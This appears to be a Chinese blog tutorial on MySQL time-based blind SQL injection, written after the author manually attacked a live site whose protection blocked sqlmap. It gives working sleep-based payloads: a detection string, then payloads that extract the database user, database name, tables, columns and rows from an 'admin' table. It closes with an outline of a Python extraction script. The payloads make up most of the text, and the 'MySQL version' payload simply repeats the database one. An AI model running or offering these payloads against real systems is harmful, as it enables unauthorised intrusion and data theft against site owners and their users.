MYSQL基于时间的盲注总结

今天遇到一个站点是基于时间的盲注,有防护软件,sqlmap还没连上就被拦截了(还在拦截中),只好手工搞了,但是又不太会盲注,因此学习总结一下。(后面附脚本)

前置基础知识

MYSQL的if函数使用

格式:IF(Condition,A,B)
含义:如果Condition成立,则A,否则B

MYSQL的substr函数的使用

格式:SUBSTR(string,start,len)
含义:从string的start位开始截取len个字符

MYSQL的ascii函数的使用

格式:ASCII(char)
含义:将char转化成ascii码

盲注思路

基于时间盲柱

1
if(ascii(substr(查询语句,start,1))=97,sleep(3),1)

基于布尔盲注

1
or ascii(substr(查询语句,start,1))=97

substr函数中可以接select语句

两种类型盲注的区别

  • 基于布尔盲注是根据页面差异判断是否存在注入,以及数据注入的

  • 基于时间盲注是通过盲注不能得到差异页面(比如:无论输入什么都显示同一个页面.), 这时候可以尝试时间盲注

补充:

为什么没有差异,有这么几种情况:

  • 第一种情况:无论输入什么都只显示无信息页面,例如登陆页面。这种情况下可能只有登录失败页面,错误页面被屏蔽了,并且在没有密码的情况下,登录成功的页面一般情况下也不知道。在这种情况下,有可能基于时间的SQL注入会有效。

  • 第二种情况:无论输入什么都只显示正常信息页面。例如,采集登录用户信息的模块页面。采集用户的 IP、浏览器类型、refer字段、session字段,无论用户输入什么,都显示正常页面。

  • 第三种情况:差异页面不是由输入URL中的SQL语句来决定的。这种情况下,也只能使用基于时间的盲注。

注入-判断注入

今天看到awvs里面判断盲注的payload感觉很使用,也很经典,这里就搬过来。

payload: if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"*/

这里看到,查看这个页面一共用了4秒,所以存在注入

tips: 第一点:awvs是用了几次这个语句,改变sleep的时间,来说明存在注入的;第二点:有的页面显示有非法请求,但是这种很有可能已经把sql语句带入数据库执行了(今晚就是这个情况)

注入-查看信息

查看用户名

payload:if(ascii(substr(user(),第几位,1))=114,sleep(3),1)

查看数据库

payload:if(ascii(substr(database(),1,1))=114,sleep(5),1)

查看mysql的版本

payload:if(ascii(substr(database(),1,1))=114,sleep(5),1)

注入-爆表、列、查信息

爆表

1
union select if(ascii(substr(table_name,1,1))>97,sleep(5),1),2,3 from information_schema.tables where table_schema = database() limit 0,1

那么问题来了,盲注能用order by吗?怎么去判断有多少个字段

答案:待测,没有盲注环境,目标站点已经限制我的访问,不过我倒是有个妙计。

union select if(ascii(substr(user(),1,1))=114,sleep(5),1),2,3

因为我们不需要知道字段的多少就可以猜解出user了,可以让if恒为真,然后去添加字段个数,如果请求有延时,就说明字段个数正确,否则说明字段个数错误。下面的图是我再mysql命令行中测试的。

足以说明原理

爆列名

1
union select if(ascii(substr(column_name,1,1))=105,sleep(5),1),2,3 from information_schema.columns where table_name = 'admin' limit 0,1

爆数据

1
union select if(ascii(substr(user,1,1))=97,sleep(5),1),2,3 from admin limit 0,1

python写盲注脚本

设计思路

<1> 时间判断 start = time.time() end = time.time() all = end-start
<2> 将所有代表字符的ascii码整理进一个list,对list进行迭代
<3> 返回数据的时候用char(ascci码)转化成明文数据